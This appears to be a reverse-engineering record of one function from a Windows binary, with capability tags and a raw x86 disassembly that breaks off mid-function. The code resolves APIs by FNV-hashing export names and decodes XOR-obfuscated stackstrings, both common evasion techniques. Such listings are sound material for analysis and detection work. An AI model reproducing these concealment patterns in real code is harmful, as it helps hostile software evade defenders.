Function at 0x4b2840
Capabilities:
Authenticate hmac
Contain obfuscated stackstrings
Encode data using xor
Hash data using fnv
Parse pe header
Resolve function by parsing pe exports
Terminate process

Disassembly:
sub esp, 0x82c
mov eax, dword [0x4db00c]
xor eax, esp
mov dword [esp + 0x824], eax
cmp byte [0x4db7c7], 0
mov eax, dword [0x4db7cc]
push ebx
push ebp
push esi
push edi
je 0x4b45d0
cmp eax, 2
jne 0x4b28dd
lea eax, [ecx - 0x334]
cmp eax, 0x16
ja 0x4b6785
lea eax, [edx - 0x14]
cmp eax, 0x14
ja 0x4b6785
xor ecx, ecx
call fcn.004c87c0
mov edi, dword [0x4db87c]
xor ebx, ebx
mov eax, dword [edi + 0x3c]
mov ebp, dword [eax + edi + 0x78]
mov esi, dword [ebp + edi + 0x20]
add esi, edi
mov ecx, dword [esi]
mov edx, 0x595b6c6e
add ecx, edi
mov al, byte [ecx]
inc ecx
test al, al
je 0x4b28d7
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x4b28b6
cmp edx, 0x24a4153
je 0x4b4923
inc ebx
add esi, 4
jmp 0x4b28a6
cmp eax, 3
jne 0x4b2bee
lea eax, [ecx - 0x316]
cmp eax, 0x12
ja 0x4b6785
lea eax, [edx - 0x14]
cmp eax, 0x14
ja 0x4b6785
mov edi, dword [0x4db870]
xor ebx, ebx
mov eax, dword [edi + 0x3c]
mov ebp, dword [eax + edi + 0x78]
mov esi, dword [ebp + edi + 0x20]
add esi, edi
mov ecx, dword [esi]
mov edx, 0x118f7405
add ecx, edi
mov al, byte [ecx]
inc ecx
test al, al
je 0x4b2943
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x4b2926
cmp edx, 0x3f054d40
je 0x4b2949
inc ebx
add esi, 4
jmp 0x4b2916
mov eax, dword [ebp + edi + 0x24]
push 6
push dword [0x4db864]
lea eax, [eax + ebx*2]
movzx ecx, word [eax + edi]
mov eax, dword [ebp + edi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edi]
add eax, edi
call eax
mov dh, 0x55
mov byte [esp + 0x213], 0
mov cl, 0x61
mov byte [esp + 0x20c], dh
mov ch, 3
mov byte [esp + 0x213], 0
xor cl, dh
xor ch, dh
mov al, 0x30
mov byte [esp + 0x20e], cl
mov dl, 0x65
mov byte [esp + 0x212], ch
mov ah, 0x2c
lea ecx, [esp + 0x60c]
mov bl, 0x16
xor al, dh
xor dl, dh
mov byte [esp + 0x20d], al
xor bl, dh
mov byte [esp + 0x20f], dl
xor ah, dh
mov byte [esp + 0x210], bl
mov byte [esp + 0x211], ah
call fcn.004b8a80
lea ecx, [esp + 0x20d]
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4b29e0
sub ecx, edx
lea eax, [esp + 0x20d]
push ecx
push eax
lea ecx, [esp + 0x614]
call fcn.004b8710
mov byte [esp + 0x15c], 0x14
mov cl, 0x26
xor cl, byte [esp + 0x15c]
mov al, 0x5b
xor al, byte [esp + 0x15c]
mov dl, 0x67
mov byte [esp + 0x15d], al
mov ch, 0x5e
mov byte [esp + 0x15e], cl
mov dh, dl
mov cl, byte [esp + 0x15c]
mov bl, 0x62
mov byte [esp + 0x13], 0x55
xor dl, cl
mov al, byte [esp + 0x13]
xor ch, cl
xor al, cl
mov byte [esp + 0x12], 0x46
xor dh, cl
mov byte [esp + 0x165], al
mov al, byte [esp + 0x12]
mov ah, 0x40
mov bh, 0x51
mov byte [esp + 0x162], ch
xor bl, cl
mov byte [esp + 0x167], 0
xor ah, cl
mov byte [esp + 0x15f], dl
xor bh, cl
mov byte [esp + 0x163], dh
xor al, cl
mov byte [esp + 0x160], bl
lea ecx, [esp + 0x15d]
mov byte [esp + 0x161], ah
mov byte [esp + 0x164], bh
lea edx, [ecx + 1]
mov byte [esp + 0x166], al
mov byte [esp + 0x167], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4b2ab0
sub ecx, edx
lea eax, [esp + 0x15d]
push ecx
push eax
lea ecx, [esp + 0x614]
call fcn.004b7e50
mov dh, 3
mov byte [esp + 0x2bf], 0
mov cl, 0x6c
mov byte [esp + 0x2b8], dh
mov al, 0x49
mov byte [esp + 0x2bf], 0
mov ah, 0x60
mov ch, cl
xor al, dh
xor ah, dh
xor cl, dh
mov byte [esp + 0x2b9], al
xor ch, dh
mov byte [esp + 0x2bd], ah
mov dl, 0x55
mov byte [esp + 0x2ba], cl
mov bl, 0x7a
mov byte [esp + 0x2be], ch
lea eax, [esp + 0x2b9]
xor dl, dh
xor bl, dh
mov byte [esp + 0x2bb], dl
push eax
lea ecx, [esp + 0x610]
mov byte [esp + 0x2c0], bl
call fcn.004b8aa0
test al, al
je 0x4b2bd3
mov bh, 0x2c
mov byte [esp + 0x264], 0
mov cl, 0x40
mov byte [esp + 0x25c], bh
mov ch, 0x42
mov byte [esp + 0x264], 0
mov dl, 0x7c
xor cl, bh
xor ch, bh
mov byte [esp + 0x25e], cl
mov al, 0x78
mov byte [esp + 0x262], ch
mov bl, 0x79
lea ecx, [esp + 0x25d]
mov ah, 0x76
mov dh, 0x60
xor dl, bh
xor al, bh
xor bl, bh
mov byte [esp + 0x25f], dl
xor ah, bh
mov byte [esp + 0x25d], al
xor dh, bh
mov byte [esp + 0x260], bl
mov byte [esp + 0x263], dh
lea edx, [ecx + 1]
mov byte [esp + 0x261], ah
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4b2bb5
sub ecx, edx
lea eax, [esp + 0x25d]
push ecx
push eax
lea ecx, [esp + 0x614]
call fcn.004b7e50
lea ecx, [esp + 0x60c]
call fcn.004b7630
mov dword [0x4db7c0], 0
jmp 0x4b6785
cmp eax, 7
jne 0x4b2c2c
lea eax, [ecx - 0x8f]
cmp eax, 0x114
ja 0x4b6785
lea eax, [edx - 0x1a]
cmp eax, 0x28
ja 0x4b6785
sub esp, 0x18
mov ecx, esp
push 0x4db098
call fcn.004b7700
call fcn.004c2150
add esp, 0x18
jmp 0x4b6785
cmp eax, 6
jne 0x4b3039
lea eax, [ecx - 0x1b2]
cmp eax, 0x28
ja 0x4b6785
lea eax, [edx - 0x1a]
cmp eax, 0x28
ja 0x4b6785
mov edi, dword [0x4db870]
xor ebx, ebx
mov byte [0x4db7c7], 0
mov eax, dword [edi + 0x3c]
mov ebp, dword [eax + edi + 0x78]
mov esi, dword [ebp + edi + 0x20]
add esi, edi
nop dword [eax]
mov ecx, dword [esi]
mov edx, 0x2ec0fc96
add ecx, edi
mov al, byte [ecx]
inc ecx
test al, al
je 0x4b2c9d
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x4b2c80
cmp edx, 0xf72fd9e3
je 0x4b2ca3
inc ebx
add esi, 4
jmp 0x4b2c70
mov eax, dword [ebp + edi + 0x24]
push 0
push dword [0x4db864]
lea eax, [eax + ebx*2]
movzx ecx, word [eax + edi]
mov eax, dword [ebp + edi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edi]
add eax, edi
call eax
mov ebp, dword [0x4db870]
xor edi, edi
mov eax, dword [ebp + 0x3c]
mov ebx, dword [eax + ebp + 0x78]
mov esi, dword [ebx + ebp + 0x20]
add esi, ebp
nop dword [eax]
mov ecx, dword [esi]
mov edx, 0xfc12d140
add ecx, ebp
mov al, byte [ecx]
inc ecx
test al, al
je 0x4b2d0d
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x4b2cf0
cmp edx, 0xeadad276
je 0x4b2d13
inc edi
add esi, 4
jmp 0x4b2ce0
mov eax, dword [ebx + ebp + 0x24]
mov esi, dword [sym.imp.USER32.dll_GetSystemMetrics]
push 1
lea eax, [eax + edi*2]
movzx ecx, word [eax + ebp]
mov eax, dword [ebx + ebp + 0x1c]
lea eax, [eax + ecx*4]
mov ebx, dword [eax + ebp]
add ebx, ebp
call esi
cdq
sub eax, edx
mov edi, eax
sar edi, 1
push 0
sub edi, 0x12c
call esi
push 0
cdq
push 0x258
sub eax, edx
push 0x190
sar eax, 1
push edi
sub eax, 0xc8
push eax
push 0
push dword [0x4db864]
call ebx
mov ebx, dword [0x4db880]
xor edi, edi
mov eax, dword [ebx + 0x3c]
mov ebp, dword [eax + ebx + 0x78]
mov esi, dword [ebp + ebx + 0x20]
add esi, ebx
nop dword [eax]
mov ecx, dword [esi]
mov edx, 0x464ee3dd
add ecx, ebx
mov al, byte [ecx]
inc ecx
test al, al
je 0x4b2dad
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x4b2d90
cmp edx, 0x6dd83c60
je 0x4b2db3
inc edi
add esi, 4
jmp 0x4b2d80
mov eax, dword [ebp + ebx + 0x24]
push 0xf
push 0xf
push 0x258
lea eax, [eax + edi*2]
movzx ecx, word [eax + ebx]
mov eax, dword [ebp + ebx + 0x1c]
push 0x190
push 0
push 0
lea eax, [eax + ecx*4]
mov eax, dword [eax + ebx]
add eax, ebx
call eax
mov edi, dword [0x4db870]
xor ebx, ebx
mov dword [esp + 0x2e8], eax
mov ecx, dword [edi + 0x3c]
mov ebp, dword [ecx + edi + 0x78]
mov esi, dword [ebp + edi + 0x20]
add esi, edi
nop word [eax + eax]
mov ecx, dword [esi]
mov edx, 0x43eaf979
add ecx, edi
mov al, byte [ecx]
inc ecx
test al, al
je 0x4b2e2d
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x4b2e10
cmp edx, 0x1d6023ea
je 0x4b2e33
inc ebx
add esi, 4
jmp 0x4b2e00
mov eax, dword [ebp + edi + 0x24]
push 0
push dword [esp + 0x2ec]
push dword [0x4db864]
lea eax, [eax + ebx*2]
movzx ecx, word [eax + edi]
mov eax, dword [ebp + edi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edi]
add eax, edi
call eax
mov edi, dword [0x4db870]
xor ebx, ebx
mov eax, dword [edi + 0x3c]
mov ebp, dword [eax + edi + 0x78]
mov esi, dword [ebp + edi + 0x20]
add esi, edi
mov ecx, dword [esi]
mov edx, 0x2461751b
add ecx, edi
mov al, byte [ecx]
inc ecx
test al, al
je 0x4b2e9d
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x4b2e80
cmp edx, 0xb4fa2b2c
je 0x4b2ea3
inc ebx
add esi, 4
jmp 0x4b2e70
mov eax, dword [ebp + edi + 0x24]
push 0
push 0
push dword [0x4db864]
lea eax, [eax + ebx*2]
movzx ecx, word [eax + edi]
mov eax, dword [ebp + edi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edi]
add eax, edi
call eax
mov edi, dword [0x4db870]
xor ebx, ebx
mov eax, dword [edi + 0x3c]
mov ebp, dword [eax + edi + 0x78]
mov esi, dword [ebp + edi + 0x20]
add esi, edi
nop dword [eax + eax]
mov ecx, dword [esi]
mov edx, 0x9517f56d
add ecx, edi
mov al, byte [ecx]
inc ecx
test al, al
je 0x4b2f0d
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x4b2ef0
cmp edx, 0xe6bc6880
je 0x4b2f13
inc ebx
add esi, 4
jmp 0x4b2ee0
mov eax, dword [ebp + edi + 0x24]
push dword [0x4db864]
lea eax, [eax + ebx*2]
movzx ecx, word [eax + edi]
mov eax, dword [ebp + edi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edi]
add eax, edi
call eax
mov edi, dword [0x4db86c]
xor ebx, ebx
mov eax, dword [edi + 0x3c]
mov ebp, dword [eax + edi + 0x78]
mov esi, dword [ebp + edi + 0x20]
add esi, edi
mov ecx, dword [esi]
mov edx, 0xdd9e8bf3
add ecx, edi
mov al, byte [ecx]
inc ecx
test al, al
je 0x4b2f74
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x4b2f57
cmp edx, 0x9f16f0b6
je 0x4b2f7a
inc ebx
add esi, 4
jmp 0x4b2f47
mov eax, dword [ebp + edi + 0x24]
push 0xfa
lea eax, [eax + ebx*2]
movzx ecx, word [eax + edi]
mov eax, dword [ebp + edi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edi]
add eax, edi
call eax
cmp byte [0x4db018], 0
jne 0x4b2fc3
push 0
push 0x4cd469
mov ecx, 0x4db098
call fcn.004b7cc0
push 0
push 0x4cd469
mov ecx, 0x4db0c8
call fcn.004b7cc0
mov edi, dword [0x4db870]
xor ebx, ebx
mov eax, dword [edi + 0x3c]
mov ebp, dword [eax + edi + 0x78]
mov esi, dword [ebp + edi + 0x20]
add esi, edi
nop dword [eax + eax]
mov ecx, dword [esi]
mov edx, 0xba1b17f1
add ecx, edi
mov al, byte [ecx]
inc ecx
test al, al
je 0x4b300d
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x4b2ff0
cmp edx, 0x35f1a1c4
je 0x4b3013
inc ebx
add esi, 4
jmp 0x4b2fe0
mov eax, dword [ebp + edi + 0x24]
push 5
push dword [0x4db864]
lea eax, [eax + ebx*2]
movzx ecx, word [eax + edi]
mov eax, dword [ebp + edi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edi]
add eax, edi
call eax
jmp 0x4b6785
cmp eax, 4
jne 0x4b3065
lea eax, [ecx - 0x2c3]
cmp eax, 0x28
ja 0x4b6785
lea eax, [edx - 0x1a]
cmp eax, 0x28
ja 0x4b6785
mov byte [0x4db019], 1
jmp 0x4b6785
cmp eax, 5
jne 0x4b330d
lea eax, [ecx - 0x296]
cmp eax, 0x28
ja 0x4b6785
lea eax, [edx - 0x1a]
cmp eax, 0x28
ja 0x4b6785
mov byte [esp + 0x78], 0x31
mov al, 0x43
xor al, byte [esp + 0x78]
mov ah, 0x50
mov byte [esp + 0x79], al
mov bh, ah
mov al, byte [esp + 0x78]
mov cl, 0x41
xor cl, al
mov byte [esp + 0x12], 0x5e
mov dl, 4
mov byte [esp + 0x7a], cl
mov ch, 0x61
mov byte [esp + 0x82], 0
xor ch, al
mov byte [esp + 0x82], 0
mov dh, 0x5b
mov byte [esp + 0x7e], ch
xor dl, al
lea ecx, [esp + 0x624]
xor ah, al
mov byte [esp + 0x7b], dl
xor dh, al
mov byte [esp + 0x7d], ah
xor bh, al
mov byte [esp + 0x7f], dh
mov bl, 0x5f
mov byte [esp + 0x80], bh
xor bl, al
mov al, byte [esp + 0x12]
xor al, byte [esp + 0x78]
mov byte [esp + 0x7c], bl
mov byte [esp + 0x81], al
call fcn.004b8a80
lea ecx, [esp + 0x79]
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4b3110
sub ecx, edx
lea eax, [esp + 0x79]
push ecx
push eax
lea ecx, [esp + 0x62c]
call fcn.004b8710
mov byte [esp + 0x174], 0x25
mov al, 0x14
xor al, byte [esp + 0x174]
mov cl, 0x74
mov ch, 0x77
mov byte [esp + 0x175], al
mov al, byte [esp + 0x174]
mov dl, 0x53
xor cl, al
mov byte [esp + 0x17d], 0
xor ch, al
mov byte [esp + 0x176], cl
mov dh, 0x69
mov byte [esp + 0x17a], ch
mov bl, 0x4e
mov byte [esp + 0x17d], 0
mov ah, 0x72
lea ecx, [esp + 0x175]
xor dl, al
xor dh, al
mov bh, 0x4f
mov byte [esp + 0x177], dl
xor bl, al
mov byte [esp + 0x17b], dh
xor ah, al
mov byte [esp + 0x178], bl
xor bh, al
mov byte [esp + 0x179], ah
mov byte [esp + 0x17c], bh
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4b31b1
sub ecx, edx
lea eax, [esp + 0x175]
push ecx
push eax
lea ecx, [esp + 0x62c]
call fcn.004b7e50
mov bh, 0x39
mov byte [esp + 0x2e0], 0
mov al, 0x4e
mov byte [esp + 0x2d8], bh
mov ah, 0x56
mov byte [esp + 0x2e0], 0
xor al, bh
xor ah, bh
mov cl, 0x6c
mov byte [esp + 0x2d9], al
mov ch, 0x72
mov byte [esp + 0x2dd], ah
xor cl, bh
lea eax, [esp + 0x2d9]
xor ch, bh
mov byte [esp + 0x2da], cl
mov dl, 0x51
mov byte [esp + 0x2de], ch
mov dh, 0x68
lea ecx, [esp + 0x624]
mov bl, 0x54
xor dl, bh
xor dh, bh
mov byte [esp + 0x2db], dl
xor bl, bh
mov byte [esp + 0x2df], dh
push eax
mov byte [esp + 0x2e0], bl
call fcn.004b8aa0
test al, al
je 0x4b32f5
mov al, 0x26
mov byte [esp + 0x180], 0x5c
mov dl, al
mov byte [esp + 0x189], 0
xor al, byte [esp + 0x180]
mov cl, 0x6b
mov ch, 0xd
mov byte [esp + 0x181], al
mov al, byte [esp + 0x180]
mov dh, 0x2d
xor cl, al
mov byte [esp + 0x189], 0
xor ch, al
mov byte [esp + 0x182], cl
mov bl, 0x37
mov byte [esp + 0x186], ch
mov ah, 0x18
lea ecx, [esp + 0x181]
xor dl, al
xor dh, al
mov bh, 0x17
mov byte [esp + 0x183], dl
xor bl, al
mov byte [esp + 0x187], dh
xor ah, al
mov byte [esp + 0x184], bl
xor bh, al
mov byte [esp + 0x185], ah
mov byte [esp + 0x188], bh
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4b32d7
sub ecx, edx
lea eax, [esp + 0x181]
push ecx
push eax
lea ecx, [esp + 0x62c]
call fcn.004b7cc0
lea ecx, [esp + 0x624]
call fcn.004b7630
mov byte [0x4db019], 0
jmp 0x4b6785
cmp eax, 0x3f3
jne 0x4b341d
lea eax, [ecx - 0x204]
cmp eax, 0x1a
ja 0x4b6785
lea eax, [edx - 0x22]
cmp eax, 0x1a
ja 0x4b6785
mov edi, dword [0x4db86c]
xor ebx, ebx
mov eax, dword [edi + 0x3c]
mov ebp, dword [eax + edi + 0x78]
mov esi, dword [ebp + edi + 0x20]
add esi, edi
nop dword [eax + eax]
mov ecx, dword [esi]
mov edx, 0xbb8601af
add ecx, edi
mov al, byte [ecx]
inc ecx
test al, al
je 0x4b337d
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x4b3360
cmp edx, 0x4bc6846a
je 0x4b3383
inc ebx
add esi, 4
jmp 0x4b3350
mov eax, dword [ebp + edi + 0x24]
movaps xmm0, xmmword [0x4d63b0]
lea eax, [eax + ebx*2]
movzx ecx, word [eax + edi]
mov eax, dword [ebp + edi + 0x1c]
lea eax, [eax + ecx*4]
mov edx, dword [eax + edi]
movups xmmword [esp + 0x4e0], xmm0
add edx, edi
mov dword [esp + 0x520], 0x2e3322
movaps xmm0, xmmword [0x4d5ae0]
xor ecx, ecx
movups xmmword [esp + 0x4f0], xmm0
movaps xmm0, xmmword [0x4d66f0]
movups xmmword [esp + 0x500], xmm0
movaps xmm0, xmmword [0x4d5ef0]
movups xmmword [esp + 0x510], xmm0
nop dword [eax]
nop word [eax + eax]
mov al, byte [esp + 0x4e0]
xor byte [esp + ecx + 0x4e1], al
inc ecx
cmp ecx, 0x42
jb 0x4b33f0
push 5
lea eax, [esp + 0x4e5]
mov byte [esp + 0x527], 0
push eax
call edx
jmp 0x4b6785
cmp eax, 0x3f4
jne 0x4b354d
lea eax, [ecx - 0x22f]
cmp eax, 0x1a
ja 0x4b6785
lea eax, [edx - 0x22]
cmp eax, 0x1a
ja 0x4b6785
mov edi, dword [0x4db86c]
xor ebx, ebx
mov eax, dword [edi + 0x3c]
mov ebp, dword [eax + edi + 0x78]
mov esi, dword [ebp + edi + 0x20]
add esi, edi
nop dword [eax + eax]
mov ecx, dword [esi]
mov edx, 0x2ec195b1
add ecx, edi
mov al, byte [ecx]
inc ecx
test al, al
je 0x4b348d
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x4b3470
cmp edx, 0xb2c8e524
je 0x4b3493
inc ebx
add esi, 4
jmp 0x4b3460
mov eax, dword [ebp + edi + 0x24]
movaps xmm0, xmmword [0x4d6520]
lea eax, [eax + ebx*2]
movzx ecx, word [eax + edi]
mov eax, dword [ebp + edi + 0x1c]
lea eax, [eax + ecx*4]
mov edx, dword [eax + edi]
movups xmmword [esp + 0x358], xmm0
add edx, edi
mov dword [esp + 0x398], 0x283b3b38
movaps xmm0, xmmword [str.1qe418_r_2_2_21]
xor ecx, ecx
movups xmmword [esp + 0x368], xmm0
mov dword [esp + 0x39c], 0x3332342e
movaps xmm0, xmmword [0x4d6310]
movups xmmword [esp + 0x378], xmm0
mov dword [esp + 0x3a0], 0x2f3e3c30
movaps xmm0, xmmword [str.s_2____8s_20r]
movups xmmword [esp + 0x388], xmm0
mov word [esp + 0x3a4], 0x32
nop dword [eax]
nop word [eax + eax]
mov al, byte [esp + 0x358]
xor byte [esp + ecx + 0x359], al
inc ecx
cmp ecx, 0x4c
jb 0x4b3520
push 5
lea eax, [esp + 0x35d]
mov byte [esp + 0x3a9], 0
push eax
call edx
jmp 0x4b6785
cmp eax, 0x3f5
jne 0x4b365d
lea eax, [ecx - 0x25a]
cmp eax, 0x1a
ja 0x4b6785
lea eax, [edx - 0x22]
cmp eax, 0x1a
ja 0x4b6785
mov edi, dword [0x4db86c]
xor ebx, ebx
mov eax, dword [edi + 0x3c]
mov ebp, dword [eax + edi + 0x78]
mov esi, dword [ebp + edi + 0x20]
add esi, edi
nop dword [eax + eax]
mov ecx, dword [esi]
mov edx, 0x7caf8dab
add ecx, edi
mov al, byte [ecx]
inc ecx
test al, al
je 0x4b35bd
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x4b35a0
cmp edx, 0x23b2b95e
je 0x4b35c3
inc ebx
add esi, 4
jmp 0x4b3590
mov eax, dword [ebp + edi + 0x24]
movaps xmm0, xmmword [0x4d5a80]
lea eax, [eax + ebx*2]
movzx ecx, word [eax + edi]
mov eax, dword [ebp + edi + 0x1c]
lea eax, [eax + ecx*4]
mov edx, dword [eax + edi]
movups xmmword [esp + 0x3c0], xmm0
add edx, edi
mov dword [esp + 0x400], 0x1303c15
movaps xmm0, xmmword [0x4d6360]
xor ecx, ecx
movups xmmword [esp + 0x3d0], xmm0
mov byte [esp + 0x404], 0
movaps xmm0, xmmword [0x4d5810]
movups xmmword [esp + 0x3e0], xmm0
movaps xmm0, xmmword [0x4d66e0]
movups xmmword [esp + 0x3f0], xmm0
nop dword [eax + eax]
mov al, byte [esp + 0x3c0]
xor byte [esp + ecx + 0x3c1], al
inc ecx
cmp ecx, 0x43
jb 0x4b3630
push 5
lea eax, [esp + 0x3c5]
mov byte [esp + 0x408], 0
push eax
call edx
jmp 0x4b6785
cmp eax, 0x3e9
jne 0x4b3ea7
lea eax, [ecx - 0x22]
cmp eax, 0xe6
ja 0x4b6785
lea eax, [edx - 0x184]
cmp eax, 0x28
ja 0x4b6785
mov dh, 0x24
mov byte [esp + 0x21b], 0
mov cl, 0x53
mov byte [esp + 0x214], dh
mov ch, 0x67
mov byte [esp + 0x21b], 0
xor cl, dh
xor ch, dh
mov al, 0x76
mov byte [esp + 0x216], cl
mov dl, 0x74
mov byte [esp + 0x21a], ch
mov ah, 0x68
lea ecx, [esp + 0x744]
mov bl, 0x45
xor al, dh
xor dl, dh
mov byte [esp + 0x215], al
xor bl, dh
mov byte [esp + 0x217], dl
xor ah, dh
mov byte [esp + 0x218], bl
mov byte [esp + 0x219], ah
call fcn.004b8a80
lea ecx, [esp + 0x215]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4b36f6
sub ecx, edx
lea eax, [esp + 0x215]
push ecx
push eax
lea ecx, [esp + 0x74c]
call fcn.004b8710
mov byte [esp + 0x12c], 6
mov al, 0x69
xor al, byte [esp + 0x12c]
mov cl, 0x56
mov byte [esp + 0x12d], al
mov ch, 0x4e
mov al, byte [esp + 0x12c]
mov dl, 0x50
xor cl, al
mov byte [esp + 0x135], 0
xor ch, al
mov byte [esp + 0x12e], cl
mov ah, 0x33
mov byte [esp + 0x132], ch
mov dh, 0x7e
mov byte [esp + 0x135], 0
mov bl, 0x77
lea ecx, [esp + 0x6b4]
mov bh, 0x4d
xor dl, al
xor bl, al
mov byte [esp + 0x12f], dl
xor ah, al
mov byte [esp + 0x130], bl
xor dh, al
mov byte [esp + 0x131], ah
xor bh, al
mov byte [esp + 0x133], dh
mov byte [esp + 0x134], bh
call fcn.004b8a80
lea ecx, [esp + 0x12d]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4b37a6
sub ecx, edx
lea eax, [esp + 0x12d]
push ecx
push eax
lea ecx, [esp + 0x6bc]
call fcn.004b8710
mov byte [esp + 0x6c], 0x3e
mov al, 0x7b
xor al, byte [esp + 0x6c]
mov cl, 0x70
mov byte [esp + 0x6d], al
mov dl, 0x51
mov al, byte [esp + 0x6c]
mov ch, 0x66
mov dh, 0x5c
mov byte [esp + 0x12], 0x71
xor cl, al
mov byte [esp + 0x76], 0
xor dl, al
mov byte [esp + 0x6e], cl
xor ch, al
mov byte [esp + 0x6f], dl
xor dh, al
mov byte [esp + 0x72], ch
mov bl, 0x5d
mov byte [esp + 0x73], dh
mov ah, 0x64
mov byte [esp + 0x76], 0
mov bh, 6
lea ecx, [esp + 0x6d]
xor bl, al
lea edx, [ecx + 1]
xor ah, al
mov byte [esp + 0x70], bl
xor bh, al
mov byte [esp + 0x71], ah
mov al, byte [esp + 0x12]
xor al, byte [esp + 0x6c]
mov byte [esp + 0x74], bh
mov byte [esp + 0x75], al
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4b3831
sub ecx, edx
lea eax, [esp + 0x6d]
push ecx
push eax
lea ecx, [esp + 0x6bc]
call fcn.004b7e50
mov bh, 0x2a
mov byte [esp + 0x2c8], 0
mov al, 0x6b
mov byte [esp + 0x2c0], bh
mov ah, 0x1e
mov byte [esp + 0x2c8], 0
mov ch, 0x5f
xor al, bh
mov dh, ch
mov byte [esp + 0x2c1], al
xor ah, bh
mov cl, 0x63
xor cl, bh
mov byte [esp + 0x2c5], ah
xor ch, bh
mov byte [esp + 0x2c2], cl
mov dl, 0x43
mov byte [esp + 0x2c6], ch
mov bl, 0x4b
lea eax, [esp + 0x2c1]
xor dl, bh
lea ecx, [esp + 0x6b4]
xor dh, bh
mov byte [esp + 0x2c3], dl
xor bl, bh
mov byte [esp + 0x2c7], dh
push eax
mov byte [esp + 0x2c8], bl
call fcn.004b8aa0
test al, al
je 0x4b3951
mov dh, 0xc
mov byte [esp + 0x223], 0
mov cl, 0x49
mov byte [esp + 0x21c], dh
mov dl, 0x3e
mov byte [esp + 0x223], 0
xor cl, dh
mov al, 0x79
mov bl, 0x5f
mov byte [esp + 0x21e], cl
mov ah, 0x76
mov ch, 0x5c
xor al, dh
xor dl, dh
xor bl, dh
mov byte [esp + 0x21f], dl
xor ah, dh
mov byte [esp + 0x21d], al
xor ch, dh
mov byte [esp + 0x220], bl
mov byte [esp + 0x222], ch
lea ecx, [esp + 0x21d]
mov byte [esp + 0x221], ah
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4b3933
sub ecx, edx
lea eax, [esp + 0x21d]
push ecx
push eax
lea ecx, [esp + 0x74c]
call fcn.004b7e50
lea ecx, [esp + 0x6b4]
call fcn.004b7630
lea ecx, [esp + 0x744]
call fcn.004b7630
mov eax, dword [0x4db01c]
test eax, eax
jg 0x4b397b
cmp eax, 0xffffffff
jne 0x4b6785
mov ebx, dword [0x4db870]
xor edi, edi
mov eax, dword [ebx + 0x3c]
mov ebp, dword [eax + ebx + 0x78]
mov esi, dword [ebp + ebx + 0x20]
add esi, ebx
mov ecx, dword [esi]
mov edx, 0xa6e53361
add ecx, ebx
mov al, byte [ecx]
inc ecx
test al, al
je 0x4b39bd
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x4b39a0
cmp edx, 0x18a03674
je 0x4b39c3
inc edi
add esi, 4
jmp 0x4b3990
mov eax, dword [ebp + ebx + 0x24]
push 0
push dword [0x4db864]
lea eax, [eax + edi*2]
movzx ecx, word [eax + ebx]
mov eax, dword [ebp + ebx + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + ebx]
add eax, ebx
call eax
mov ch, 0x68
mov byte [esp + 0x29e], 0
mov dl, 0xd
mov byte [esp + 0x298], ch
mov cl, 0x46
mov byte [esp + 0x29e], 0
mov ah, dl
xor cl, ch
mov al, 0x59
mov byte [esp + 0x29a], cl
mov bl, 0x10
xor al, ch
xor dl, ch
mov byte [esp + 0x299], al
xor bl, ch
mov byte [esp + 0x29b], dl
xor ah, ch
mov byte [esp + 0x29c], bl
lea ecx, [esp + 0x2ef]
mov byte [esp + 0x29d], ah
call fcn.004b68a0
mov edi, eax
mov ecx, 0x4db0e0
lea eax, [esp + 0x3b8]
push eax
call fcn.004b73a0
mov ecx, 0x4db0e0
mov esi, dword [eax]
